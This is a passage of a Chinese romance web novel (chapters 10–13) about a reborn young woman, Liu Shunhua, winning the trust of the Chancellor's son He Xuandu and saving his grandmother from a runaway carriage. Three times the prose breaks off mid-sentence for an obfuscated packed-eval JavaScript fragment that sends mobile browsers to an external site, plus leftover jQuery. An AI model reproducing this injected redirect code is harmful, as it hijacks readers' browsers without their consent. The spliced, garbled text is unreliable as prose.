贺玄度踢了洪声一脚,怎么以前没见他嘴这么甜。 洪声冷不丁被踢,跳了一下,看到贺玄度黑着脸,忙退到一边。 贺玄度躬身道:“多谢柳小姐今日相帮,贺某记下了,他日定当相报。” 听他这么说,柳舜华心中不胜欢喜,既如此,那日后要再接近贺玄度,会方便许多。 她笑着说客气,看了看天色,担忧芳草寻不到自己着急,这才恋恋说着告辞。 还未转身,洪声臂膀上的绿玉倏忽便飞了过去,拼命往她怀里钻。 柳舜华被它突如其来的动作吓了一跳,往后退了几步。 洪声在旁干着急,因顾及柳舜华是女子,也不好上前。 贺玄度在一边喝道:“绿玉,你给我滚过来。” 绿玉朝他看了一眼,爪子一翻,仰着头背过身去。 贺玄度骂道:“你这个没良心的小东西,你吃我的喝我的,还跟我犟上了。你说,方才你惹祸,是谁不管不顾地救你?” 洪声小声提醒:“柳小姐也有份。” 贺玄度抬起手便想打,洪声赶紧抱头闭嘴。 柳舜华试着去抓了几次,奈何绿玉爪子牢牢抓住她的衣襟,根本拽不开。 她颇有些无奈地望向贺玄度。 贺玄度也毫无办法,僵持片刻,他无奈道:“柳小姐若不嫌弃,就让它跟着你几日吧,等新鲜劲过了,我再接它回去。” 柳舜华暗自一喜,方才她还想着下次要如何再接近贺玄度,如此一来,机会不就来了。 她装作有些为难的样子,低眉沉思。 贺玄度忙道:“柳小姐放心,绿玉它很乖的,绝对不会惹事。” 柳舜华点头:“好吧,既如此,我就先养两日。” 看着柳舜华背影消失,洪声摇头啧啧两声:“绿玉,真是个神鸟。” 贺玄度白了他一眼:“你告诉我,它神哪了?” 洪声看了一眼贺玄度,意味深长道:“二公子与柳小姐缘分不浅啊。” 贺玄度一愣:“你什么意思?” “二公子方才为何会急着拍绿玉,还不是因为绿玉叫了柳小姐的闺名。”洪声嘿嘿一笑,“我就奇了,你说绿玉第一次见柳小姐,怎么会知道柳小姐的闺名呢?” 绿玉平日里只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14484839|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会学一个人说话,那就是贺玄度。 柳舜华这个名字,一定是出自贺玄度之口。 贺玄度咳了一声,“我是昨日归来想起她在浮霞园的字,无意在绿玉面前提了一嘴。” 洪声露出一个“我都懂”的微笑。 贺玄度懒得理他,只是道:“今日之事,不可外传,免得柳小姐麻烦。” 洪声点头,想起方才陈嘉良如此嚣张,愤恨道:“那个陈嘉良也太跋扈了些,公子就这么轻易放过他?不如改日我多找些人,趁他不备,蒙着头打了一顿去。” 贺玄度低头瞧着散落一地的果子,用脚一踢,一只青皮果子便滚到一旁的阴沟里。 “鼠辈而已,管他作甚,总有清算那日。” 柳舜华回到书铺,芳草正焦急地在门口张望。 芳草一见她,便道:“小姐方才去了哪里,一眨眼的功夫你就不见了,我也不敢乱跑,只能留在这等着你……咦,这鹦鹉哪里来的?” 柳舜华将绿玉举起,笑着说:“方才,我就是看到它才跑出去的。” 芳草歪头看着绿玉,只见它一身翠绿的羽毛油亮油亮的,一双眼睛乌溜溜地转着,别提多招人喜欢。 “真好看,怪不得小姐跑这么快。” 绿玉一路上都很欢快,围着柳舜华叽喳个不停。 柳舜华摸着绿玉,想起了贺玄度。 昨日见他如此纨绔模样,心里多少还是有些失望。 可今日这一遭,她觉得,一个连鹦鹉都拼了命去护的人,不会差到哪里去。 正因他一直都怀有这份恻隐之心,当初在相府他才会出手帮她。 柳舜华安慰自己,至少从这点来看,贺玄度还是贺玄度。 柳棠华隔着老远听到鸟叫,从屋内跑了出来,瞧见廊下的绿玉喜欢得不行,一直不停地逗它,中饭都懒得吃。 整个下午,柳棠华都围着着绿玉献殷勤,又是喂水又是喂食,期待着它开口说话。 柳舜华拿了新买的书坐在廊下,喝着茶,晒着太阳,笑着看她像个小麻雀一样,跑来跑去地瞎折腾。 直到绿玉忍不了她的聒噪,垂头闭眼不再理她,柳棠华才终于放弃。 她瘫倒在席子上,有些泄气,“姐姐,怎么它都不开口?它真的会说话吗,你别是哄我的吧?” 柳舜华放下手中的书,俯下身道:“千真万确,我亲耳听到它叫了我的名字,你再多些耐心。” 柳棠华双手捧脸,有气无力道:“可我已经哄了它三个多时辰了,姐姐不是什么都没做,它便叫了姐姐的名字。” 她叹了一口气,又喃喃道:“还是说,棠华这两个字很难念?或者,它只喜欢姐姐,才叫姐姐的名字。” 柳舜华笑了一下,方想说什么,突然怔住了。 今日窄巷内,贺玄度从头到尾叫的都是柳小姐,并未唤过她闺名,而她与绿玉也是第一次相见。 那为何,绿玉会叫出她的名字? 绿玉能叫出她名字,必定是在哪里听过。 它一直跟着贺玄度,也就是…… 贺玄度曾当着绿玉的面,提过她的名字。 贺玄度不会无缘无故提起她的名字。 想到今日贺玄度对自己的打量,柳舜华不由一阵心慌。 贺玄度在私下唤她名字,他到底是何态度。 11. 第 11 章 薄暮时分,柳桓安过来送莲蓬糕,瞧见廊下的鹦鹉,愣了一下。 他总觉得,这个鹦鹉有几分眼熟。 柳舜华怕他瞧出来,忙推他进了正屋。 柳桓安坐下后,还是问道:“你何时养起了鹦鹉?” 柳舜华倒了一杯茶递过去:“今日集市上买的,闲着逗趣。” 柳桓安接过茶盏,轻轻抿了几口。 柳舜华绕到他身后,替他捶着背:“兄长第一日上任,可还顺利?” 柳桓安揉着额头:“已陆续有诸侯抵达,一整日都在安排,忙得脚不沾地。” 柳舜华道:“第一日就忙成这样,那往后若想见兄长,岂不是难了?” 柳桓安点头:“再过两日,各地诸侯皆至长安,才是最忙的时候。” 柳舜华笑道:“兄长这么忙,还抽空去买莲蓬糕,倒显得我不懂事了。” 柳桓安将杯子放下,“顺路而已,你还以为我会为你这点小事刻意绕路去买?”说着又从怀中取出一张请帖,“我过来,是为这个。” 柳舜华接过,打开一看,是相府的帖子,邀她过府参加老夫人寿宴。 她盯着帖子看了好一会。 老夫人,算算日子,她应该快回来了。 柳桓安接着说:“此次是相府老夫人做寿,名义上还是要邀女眷,咱们家女眷,也只能下给你了。” 柳舜华合上帖子。昨日与贺容暄起了争执,今日相府便将帖子送上,任谁看都是相府主动示好,给足了他们柳府面子。 她若不应,倒显得对昨日之事心怀不满,明摆着拒绝相府的示好,日后兄长可就难做了。 她没想到,如此一来,她反倒被架了起来。 相府,柳舜华自是一万个不愿去。 可眼下之事,由不得她。 她问:“兄长怎么想的?” 柳桓安淡声道:“身在官场,应酬在所难免,若一场宴会都不能全身而退,那日后如何为皇上分忧。” 柳舜华思忖片刻,兄长既做此决定,她相信兄长定能处理好。 她点头道:“既如此,我写了回帖,到时与兄长一起赴宴便是。” 柳桓安想了想,说道:“相府大小姐贺容暄,你不用担心。寿宴之上,她应不会去惹事。” 柳舜华当然知道,贺留善极重孝道,贺容暄平日再跋扈也不敢在祖母寿宴上摆脸色。 她道:“你放心好了,到时我离她远远的,谁管她如何。” 柳桓安出门时,绿玉突然叫了几声,惹得他频频回头,吓得柳舜华忙侧身挡住它。 当初说好只养两日,可两日过后,贺玄度却并未差人过来。 柳棠华小孩心性,平日里也没什么可以打发娱乐,如今有了绿玉这个稀罕物,看得宝贝一样,日日在廊下与它嬉戏。绿玉也由开始的不耐渐渐到习惯,对柳棠华的喜爱已胜于柳舜华。 柳舜华生怕柳棠华继续下去,与绿玉生出感情,只盼着贺玄度能早点过来带走绿玉。 这日晨间落了一场春雨,雨过之后,云散日朗。 柳棠华贪睡,还未起床。 柳舜华独靠在廊下,懒懒地翻着书卷,也不知今日贺玄度会不会过来。 倏忽一声清亮的哨声,柳舜华抬眸望去,只见绿玉扇动着翅膀,飞出了院墙。 柳舜华急了,绿玉若飞走,她要如何向贺玄度交待。 她也顾不上许多,搬了芳草修剪花枝用的梯子搭在墙边。 梯子不够高,最上一层离墙头还有些距离。 她深吸一口气,用力一跃,双手攀住墙头,奋力爬了上去。 好不容易爬上墙头,却被一枝繁茂的杏花压着,她伸手便去扯,蓦然回头,折花的手顿在空中。 一树花枝下,贺玄度一身赤色宽袖袍,肩头立着绿玉,一张俊脸扬起,嘴角勾着笑,正饶有兴致地望着柳舜华。 柳舜华骑在墙头,平生第一次感受到什么是窘迫。 贺玄度走上前,伸手一只手,“柳小姐,需要帮忙吗?” 柳舜华默默将另外一条腿跨过来,横坐在墙头,将一张红透的脸半隐在花枝间。 “不用,上面,挺好的。” 贺玄度收回手,“柳小姐随意。” 柳舜华忙找补:“我那个,看绿玉飞了出去,有些心急,这才上来看看。” 贺玄度笑笑:“多谢柳小姐帮忙照看绿玉,一连欠了柳小姐两个人情,实在无以为报。只是不知柳小姐喜欢什么,珠宝首饰还是胭脂水粉?” 柳舜华想了想,探出头来:“我什么都不要,只想你答应我一件事。” 贺玄度漫不经心地挑挑眉:“柳小姐想要我做什么?” 他身为相府公子,找他帮忙的人多了,不外乎就是想通过他谋求私利。 柳舜华扒开浓密的花枝,看着贺玄度的眼睛,“我要你……” 贺玄度心猛地一提,眼睛睁大。 此前她三番两次的出现在他跟前,果然是想引起他的注意。 她看上他了,她想嫁进相府? “把我给你的那张字抄一百遍。” 贺玄度一脸茫然,“你说抄什么?” 柳舜华定定道:“抄字,就我昨日给你的那个,一百遍。” 贺玄度往后退了几步,“柳舜华,你脑子有毛病吧!” 柳舜华见他有些抵触,深觉凡事不可一蹴而就。当初她练字的时候,也不是一日两日便学得像的。 她遂改口道:“八十遍也行,贵在坚持。” 贺玄度脸色阴沉,心内冷笑。 亏他之前还以为她或许不一样。 原来她和其他人没什么不同,是存心要戏弄他。 他恼羞成怒:“我算是看明白了,你不但有病,还跟我有仇。” 柳舜华只得妥协:“实在不行,五十,五十总行了吧。” 贺玄度忍无可忍,指着她怒道:“柳舜华,有病就去治,明日小爷我送五千钱给你治病。” 他怒气冲冲地转身,柳舜华她简直欺人太甚。 柳舜华见他要走,急了,“你别走啊,咱们可以商量的,你听我……” 她一时心急,忘记还在墙上,竟站了起来,双脚一滑,险些摔了下来。 “贺玄度,你别走,帮帮我啊!”柳舜华急得叫了起来。 此前她惯会爬树不假,可这么吊着,她有力也使不上,只能叫人帮忙。 贺玄度闻声回头,笑得直不起腰。 柳舜华双手扒着一根粗枝,整个人挂在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14484840|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半空,像个大扑棱蛾子似的,不停地荡来荡去。 贺玄度走上前,仰头挑衅道:“还让不让我写了?” 柳舜华摇头:“此事,倒也没那么急。” 贺玄度围着她转了一圈,“你方才不是说,上面挺好。既然这么好,不妨多吊一会。” 柳舜华央求他:“贺玄度,我快撑不住了。” 贺玄度置若罔闻:“敢戏弄小爷我,活该你被吊着。” 想到兄长以及众人对他的态度,柳舜华渐渐反应过来,他顶着纨绔的名声多年,此前必定受了不少奚落,以至方才她一时心急,贸然提出让他练字,引他起了误会。 柳舜华费力解释:“贺玄度,你听我说……我只是想帮你。” 贺玄度不屑:“帮我,让我抄一百遍就是帮我,你……” 柳舜华再也支撑不住,双手不受控制地滑了下去。 一树花枝乱颤,杏花簌簌飞落,绿玉扑腾一下飞了出去。 兰香自衣袖间充斥着四周,让人酥醉。柳舜华羽睫轻扇,看着近在咫尺的贺玄度,直到他温热的气息喷在耳边,才发觉,她整个人压在贺玄度身上,两个人的姿势暧昧到了极点。 她脸上一红,忙催促道:“你快起来啊。” 贺玄度脸抖了抖,“柳小姐,你在我上面。” 柳舜华垂眸一看,的确如此,手忙脚乱地从贺玄度身上起来,垂头站在一边。 贺玄度扶着腰起身,“柳舜华,你是不是故意的?” 柳舜华低声道:“真不是,方才我都说了,我支撑不住了。” 贺玄度气得用手指着她,又缓缓放下,“看在昨日你帮我的份上,我不跟你计较。还有,这两日绿玉的花销,我也会差人送给你。柳舜华,下次别让我再看到你。” 柳舜华拦在他身前,急道:“贺玄度,我真不是故意捉弄你。我只是……前些日子你说过,你想练字的。” 贺玄度冷眼看着她:“我想练字,与你何干?” 柳舜华一时语塞,她想让贺玄度练字,无非是期盼着他能早日回到本来的样子,可眼下的贺玄度,显然不是一两日便能改变的。 贺玄度认定她有意羞辱他,无论她如何解释,他都不会再信。 柳舜华仰头望向贺玄度,双眸清亮,一脸诚挚:“我知你对我有所疑心,可我真的并无恶意。贺玄度,要怎样你才能信我?” 她眸光殷切,一张白净的脸上因有些激动,微微泛红,耳垂上的珠子轻轻晃动,像是花叶上的朝露,随时可能被风吹散。 她迎风而立,明明柔弱得不堪一击,可就这么倔强地站在他面前。 贺玄度没由来一阵心软,到嘴的狠话一句也说不出口。 他闷闷道:“我就是个纨绔,你干嘛要费心同我走这么近?” 看来是时候要找个合适的理由,来悉数打消他的疑虑了。 柳舜华长叹一口气,“因为一只兔子。” 贺玄度不可置信,先前帮他说是因为绿玉,现下又说什么兔子。 柳舜华幽幽开口:“你六岁那年,有次出府去玩,是不是在相府墙边捡到过一只兔子?” 贺玄度一愣,她怎么会知晓他小时候的事。 柳舜华缓缓道:“那只兔子,叫小白。” 12. 第 12 章 六岁时,贺玄度生母亡故。 三个月后,贺丞相便迫不及待将陈氏扶正。 贺玄度猝然没了母亲,父亲又从不将他看在眼里,幸得祖母垂怜,养在膝下。 祖母上了年纪,难免心力不济,他无人教导,性子渐渐养得野了。 那个时候,他的确养过一只兔子。 可他正是读书向学的年纪,贺丞相最厌这些东西,说是玩物丧志,他怕被父亲责骂,只是偷偷养在院中。 可惜那兔子只跟了他不到一年,便被父亲发现,着人丢了出去。 这件事,知晓的人不多,若不是亲眼所见,柳舜华应当不会知晓才是。 柳舜华不紧不慢地说着:“小白是我无意中捡到的,我一直偷偷养在后院。可后来,还是被父亲发现了,他不喜欢我养,想让人把小白丢了去。我不肯,便抱着小白跑了出去。我跑了很久,直到跑在一个高墙边,我不小心跌了一脚,小白便跳了下来。等我从墙角爬起来,就看到一个小公子将小白抱了起来。” 她偷偷瞥了眼贺玄度,只见他微仰着头望着天空,像是在回忆什么。 她继续道:“那小公子摸着小白,动作轻极了。看得出来,他很喜欢小白,小白似乎也很喜欢他。我便想,小白跟着我不长久,还不如跟着他。而且,我看他家高门大户的,小白定能过得很好,这才放心离开。” 贺玄度听到此处,突然长叹一声。 柳舜华适时道:“贺玄度,我知道是你。在我心里,一直很感激你替我养了小白。” 贺玄度身形微微一顿,再望向柳舜华时,脸上缓和了不少。 柳舜华心喜,果然奏效了。 前世,贺玄度一贯清寂,话并不多。 贺玄度的这些事,她都是从老夫人那里听来的。 那日,她陪着老夫人用膳,下人端上一份兔肉羹。老夫人见状,忙令人撤了去,并告诫说二公子已经回府,日后桌上不能出现兔肉。 她心下好奇,便问了缘故,这才知晓这段过往。 贺玄度闭了下眼,再睁开时,满脸哀切。 他问:“那只兔子是你的啊?” 柳舜华下意识地点头。 那只兔子自然不是她的,她只是编个故事,来获取贺玄度的信任。 对于同样的遭遇和经历,贺玄度总是会生出怜悯之意。 上辈子如此,这辈子应也不会差。 贺玄度嘴角勾起,带着一丝嘲弄:“你不该谢我,是我对不住你。你的小白,我并没有护住。” 柳舜华怔了一下,贺玄度这是在自责? “那只兔子……我后来去寻过。在膳房门口,我捡到了曾系在小兔子腿上的红绳,红绳上满是血迹……” 贺玄度面如冰霜,声音发冷。 柳舜华并不知道会是这样,若早知如此,她断然不会提起这段过往。 心上似乎被压着千斤巨石,仿佛那只兔子真的是她的一样。 她再也忍不住,眼泪不受控制流了下来。 她替六岁的贺玄度难过,当时年幼的他看到红绳时,该会有多无助。 她也替那只兔子难过。 贺玄度说话一向没轻没重,不懂迂回。他平生所见的女子,对着他几乎都是笑的,从不曾有人在他面前哭过。 看着哭得梨花带雨的柳舜华,他顿时慌了神,手忙脚乱地在一边干着急。 他凑近,歪头道:“你别哭啊,那都过去多久的事了。这样,改天我送一只还你,怎样?” 柳舜华依旧在哭,她也不想哭,可就是止不住。 贺玄度急了:“十个,十个。若你还不满意,二十个,五十个,一百个总行了吧!” 柳舜华慢慢止住了哭,哽咽道:“我不要。” 贺玄度一拍脑袋,“你瞧我,都忘了你父亲也不喜欢你养这些。这样,你说你想要什么补偿,但凡是我能做到的,我都会给到你。” 说完,他瞥了一眼柳舜华,“写字就算了,那日我只是一时兴起。我这个人,一读书写字就犯晕。” 柳舜华转身擦干泪,“我还没想好,你让我想想。” 贺玄度长松一口气,她总算是不哭了。 “小姐,小姐。” 是芳草在找她。 贺玄度生怕她再哭,忙催促道:“你家丫头寻你,赶紧回去吧。” 柳舜华颔首,眼眶泛红,“贺玄度,你总该信我了吧。” 贺玄度点头如捣蒜:“信信信,你赶紧回去吧。” 绿玉在贺玄度肩头跳了几下,学着贺玄度的语气,又叫道:“柳舜华,柳舜华。” 听着绿玉的叫声,她突然一滞,想起此前它就叫过她的名字。 她踌躇片刻,方想开口询问,贺玄度已是等不及,拱手道:“柳小姐,先行告辞。” 他只想快些离开,一看到她哭,他就不知所措。这种感觉,太奇怪了。 柳舜华心中莫名一闷,她看上去很可怕吗,怎么贺玄度总是躲着她? 芳草才到府门转角处,便看到柳舜华红肿着眼走了过来。 “小姐,你这是怎么了?” 柳舜华用手挡了眼睛,“没事,被风迷了眼。” 待回到后院,柳棠华已经起床,正满院子去寻绿玉。 柳舜华见瞒不住,只得说是绿玉贪玩飞了出去,她找了许久也未曾发现踪影,大约是不会再回来了。 柳棠华听罢,抱着鸟笼哭得昏天暗地。 柳舜华将自己这些年搜罗的小玩意拿出来大半,才总算将她哄住。 晚间难得聚在一起用膳,柳棠华低垂着头,神情恹恹。 柳奉见状,还未细问,孙姨娘却先开了口。 “蓁蓁啊,我听说相府下了帖子,邀家中女眷前去参加相府老夫人寿宴。” 柳舜华扒了一口饭,点头。 随后一想,孙姨娘这种身份,肯定是不方便参加的,她这么问,多半是替棠华考虑。 她又道:“我一个人去有些无趣,芊芊会同我一起。” 孙姨娘笑了一下,“你们两姐们去,还是有些孤单。不如,带上萋萋一起吧。” 柳舜华顿了一下,抬头看了一眼孙姨娘。 瞧见她头上多了一根蓝田玉簪,瞬间明白了,她这是收了叔母的好处,替她来当说客来了。 她漫不经心道:“蔓华也想去,怎么叔母不带着她来说,反而让姨娘从中传话?” 孙姨娘心虚,赔笑道:“这不是今日碰巧过去,顺口就说了你要去相府赴宴之事,萋萋听了,羡慕得不行。” 柳舜华道:“蔓华不是正与府尹家公子说亲,还有闲心参加寿宴?” 一听这话,孙姨娘叹了一声,“快别提了,亲事黄了,府尹家公子没有看上萋萋。昨日我去,萋萋那眼,哭得核桃一般,可怜见的。” 柳奉瞥了她一眼,“萋萋可怜见的,你没看到芊芊眼睛也肿了?你这个娘当的,可真尽责。” 孙姨娘这才发现,柳棠华眼睛红肿,似是哭过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14484841|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “作死啊,你做了什么?” 柳舜华心下不满,孙姨娘这话问的,好像棠华哭也是错一样。 可她到底是棠华的娘,柳舜华还是将绿玉之事告知。 柳桓安突然问道:“绿玉,就是那只鹦鹉吗?” 柳舜华点头。 孙姨娘一嗤,“我还当什么大事,姑娘家的养那些做什么,还不如多学学女红针线,才是正经。” 柳奉将碗筷放下,“姑娘家学些女红是正事,可也不能太束着她们了。日日在后院待着,也是无趣。这样,明日你们去街上看看,有什么想买的,尽管去买。” 孙姨娘瞅了一眼棠华,“老爷别太宠着她,也该多想想松儿,他在外头求学,苦不堪言,已三个月未归了,老爷也不说要去看看。” 柳奉眉头一皱,“求学之路艰辛,这点苦都不能吃,还谈什么成家立业。” 孙姨娘心下憋屈,见棠华不替自己兄长说话,依旧扒着饭吃,便朝她撒气,“一天到晚就知道吃,你看看你像什么样子,将来若是嫁不出去,有你哭的,还指望柳家养你一辈子啊?” 柳棠华本就心情郁郁,孙姨娘这一骂,一双杏眼含泪,委屈极了。 柳舜华斜眼过去,想起上辈子棠华被封皇后时孙姨娘的嘴脸和眼前毫不掩饰的厌弃,心下一阵鄙夷。 棠华有她这样的娘,真是倒了八辈子的霉。 柳桓安实在看不过去,在柳棠华背上拍了拍,“姨娘放心,即便芊芊将来不嫁,柳家也不缺她这一口饭。她是我亲妹妹,我养她一辈子。” 此话一出,柳棠华眼泪止不住地流,伏在柳桓安肩头呜呜地哭了起来。 不止柳棠华,柳舜华也跟着红了眼眶。 若是上辈子,听到兄长这话,或许她会更加坚决一点,没准能早日脱离相府。 柳奉皱眉,对孙姨娘道:“孩子大了,以后这样的话少说。” 他眼光又扫过柳桓安,“还有你,说什么胡话,女孩子哪能不嫁人。你也老大不小了,等忙完这一阵,我就安排人给你说亲。” 柳桓安忙道:“父亲,此事不急。” 柳奉“啪”地一拍桌子,“不急,你已二十有一,还不急。” 柳棠华吓得浑身一抖,忙从柳桓安肩头移开,垂头老老实实坐在一边。 孙姨娘眼中精光一闪,笑道:“老爷消消气,咱们大公子长得一表人才,如今又得皇上重用,挑剔一点也情有可原。老爷若是放心,我替大公子瞅着。” 柳奉这才满意,“咱们不是什么高门大户,自然不在意门第。只一点,人品要好,模样就算差点,也没什么。” 柳舜华见柳桓安黑着脸,忙道:“父亲,过些时日便要去相府贺寿,寿礼可要提前备下才好。” 柳奉点头:“是要早些准备,只是不知备些什么才好。” 柳舜华笑道:“那可是丞相府,自然什么都不缺。咱们这样的人家,不必挖空心思去想,反正也比不过别人,只需拿出家中珍贵的,尽了心意便可。” 柳桓安称是,“蓁蓁说得不错,若是太贵重,反而有些不合适。” 柳奉沉声道:“这不是你该操心的事,你只需忙完这阵,老老实实地去相看些姑娘才是正事。” 柳桓安听罢,面上已有几分不悦。 柳奉叹息一声:“你这孩子,怎么让你娶妻,倒像要害了你一样。” 柳桓安沉默。 柳舜华有些忧心,兄长这模样,多半是有了心上人。 13. 第 13 章 元始六年三月初八,柳舜华醒得格外早。 上辈子,就在今日,止云斋门前,她救下了相府老夫人。 救下老夫人,正是她命运转变的开始。 她本是个肆意无拘之人,最爱自在,最厌束缚。 可嫁入相府,蹉跎三年,落得个葬身火海的下场。到死,都未能挣脱。 如今重活一世,山长水阔,她要随心所欲地活着,决计不会再嫁入相府。 可是,她实在放心不下老夫人。 初入相府时,尽管贺玄晖有意冷落,但有老夫人在,她过得还不错。 老夫人喜热闹,尤爱舞乐,听曲时也总喜欢叫上她,还专挑些新编的乐曲。 可柳舜华知道,老夫人已过花甲之年,最易犯困,常常听到一半,就睡得昏昏沉沉。 她这是听到了风言风语,怕柳舜华一个人闷着,更担忧府内那些下人会轻看了她。 老夫人如此大张旗鼓,无非是想让府内所有人知道,柳舜华有她护着,谁都不能欺负了去。 老夫人对她处处维护,待她如亲孙女一般,她不能眼睁睁看着老夫人出事。 …… 已是三月天,草木萌动,两岸十里花柳延绵,石拱桥上人潮涌动,街边的包子铺热气腾腾,叫卖声此起彼伏,一幅浓浓的人间烟火气。 柳舜华踏在石板路上,步履轻盈。 外面天高云淡,无拘无束,她再也不用困在高墙内,缩在相府一方小小的院落中。 芳草看着戴着帷帽的柳舜华,忍不住问道:“小姐,若是惹了风寒,要不要先找医工看看?” 柳舜华道:“不用,无碍。” 芳草又问:“小姐,有马车咱们干吗要走路啊?” 柳舜华挑起帷帽一角,抬头看着天穹,一望无际的湛蓝,画卷一般绵延不绝。 她道:“憋屈,我想走走。” 芳草歪头想了许久,整个柳府,好像没人敢给小姐气受吧。 还未想明白,柳舜华已经走远,芳草赶紧快步跟上。 春日渐暖,被关在宅子里一冬的女眷们,纷纷出府添置新衣,止云斋内人较往日多了一成不止。 芳草拿着取货单子交给掌柜后等在一旁,柳舜华就站在门口,望着前方。 长街尽头,一辆翠帷七香车缓缓而来。 元始六年初,相府老夫人思乡情切,不顾舟车劳顿,执意回南阳老家探亲,一去便是两月余。因月中便是老夫人的寿辰,她这才不得不赶回长安。 柳舜华快速左右打量了一圈,并未瞧见前世曾让马车受惊的顽童。 她正庆幸着,或许这一世并无变故。 突然一瞥,远处人群中突然窜出两个孩子。一个手拿拨浪鼓,一个在后面追逐。后面的孩子伸手去抢,前面的孩子不肯相让。争执之间,拨浪鼓脱手,一下被甩出老远。 马车正平稳行驶,突然一只拨浪鼓迎面飞来,奔波了一路的马儿受了惊吓,登时扬起前蹄,嘶鸣不止。 车夫见进了城,稍稍松懈,才打了个哈欠,不想便出了意外。 他瞬间有些慌了神,一着急手中的缰绳不慎脱落,弯腰去捡缰绳时,竟被颠下马车。 马儿无人控制,当即在街道上横冲直撞,街上众人纷纷惊慌避让。 车夫顾不上鲜血直流的手臂,一骨碌从地上爬起,一瘸一拐地跑着去追。 可他拖着瘸腿,哪里追得上。 马车很快来到眼前,柳舜华没有片刻犹豫,一跃跳到马车上,顺势抓过缰绳。 马儿见有人上来,嘶鸣一声,疯狂地向前奔去。 前方原是一片开阔的空地,不巧今日来了个杂耍的班子,正在那表演。 若任由它冲撞上去,不知要伤多少人。 柳舜华不住朝着前方高喊:“快闪开,快闪开。” 人群嘈杂,哪里能听得到她的呼喊。 长街上,马儿越跑越快,丝毫没有要停下来的趋势。 人群中不知是谁回了头,吓得大叫一声,围观的人群瞬间四散开来。 本来已经有些平静的马儿再次受到惊吓,不停地左右摇晃,试图将柳舜华甩下去。 柳舜华才适应这具身体,又多年未曾骑过马,跟着不停摇摆,险些真被甩出去。 她心一狠,将缰绳又往手上缠了一圈。 粗糙的绳索在她手中不停摩擦,直勒进肉里。 手指几乎要被绞断,一阵火辣辣的痛感从掌心瞬间延至全身。 她必须要坚持住,勒停马车。 马车一旦失控,老夫人即便不被颠出去,就是磕磕碰碰,她的身子也遭不住。 她脊背绷直,豆大的汗珠从额头滑落,浸得眼睛生疼。 却依旧死死拉紧手中的缰绳,不敢有丝毫松懈。 不知过了多久,她已累得精疲力竭,眼看就要坚持不住。 马儿这时终于不再挣扎,渐渐停了下来。 柳舜华这才慢慢松下缰绳,腾出一只手,不停地抚摸着马背。 马儿在她的安抚下,慢慢恢复平静。 她终于舒了一口气,从马车上跳下。 车夫这时才跑过来,对着柳舜华千恩万谢。 马车后的几个随从很快也赶了上来,一群人呼啦啦地围在马车前。 为首的是个中年妇女,她吓得面色惨白,声音微微发颤:“老夫人,您怎么样?” “无碍。”马车内传来淡淡一声。 众人这才放下心来,声音平稳,看来老妇人应是无事。 车帘被缓缓卷起,老夫人向前探了探身子,两鬓的白发在日光下泛着微光。 柳舜华一看到老夫人,鼻尖一酸,眼泪便忍不住滚滚落下。 自入相府,柳舜华便一直伴着老夫人,陪她走完了最后一段路。 老夫人去世前半个月,整个人已经混混沌沌,不太能记起人。 可每次只要柳舜华过去,她总会喃喃地叫出柳舜华的名字。 弥留之际,她还不忘往柳舜华手里塞她喜欢的糕点。 枯槁的双手中仅存的一点温度,都留给了她。 老夫人看了一圈,目光落在柳舜华身上。 只见她身穿着一件窄袖缥碧流云纹衣裙,气度从容。 虽戴着帷帽,看不清面容,但影影绰绰之下,反而增添一丝别样风姿。 方才马儿受惊,车帘被扬起,老夫人隐隐约约看到驾车之人戴着帷帽。 如今一瞧,便知是她。 老夫人笑着冲柳舜华招招手,柳舜华悄悄擦干眼泪,攥紧手掌,走上前去。 老夫人温声问:“姑娘,方才是你拦的马吧?” 柳舜华点点头,“是。” “你再走近些。”老夫人揉着腿,悄声道:“你不知道,方才我吓得腿都软了。这一群人围着,我总是要装一装。这会,我是一点都动不了了。” 柳舜华“扑哧”一笑,老夫人还真是,一点都没变。 老夫人见她笑了,也跟着笑了起来。 老夫人又问:“你是哪家的姑娘?身手这般好?” 上辈子,救下老夫人后,她见老夫人周身气度不凡,有意想替柳府争取一条新门路。 当老夫人问她是何人时,她便自报了家门。 之后,相府派人送去谢礼之时,她又落落大方,应对自如。 送礼之人回去复命时,为讨好老夫人,将她的好处往死里夸,更让老夫人对她印象深刻,以致在寿宴上对她赞不绝口。 只是这次,柳舜华只想救下老夫人,并不想节外生枝。 她躬身施礼道:“小女出身乡野,幼时外祖家养马,跟着兄长们学了些御马之术。今日不过顺手罢了,老夫人莫要放在心上。” 老夫人见她姿态舒展,毫无半点忸怩之态,对她的喜爱又添了几分。 可见她并不想告知家世门第,又戴着帷帽,似乎不想被人认出,心下虽遗憾,却也不好再追问。 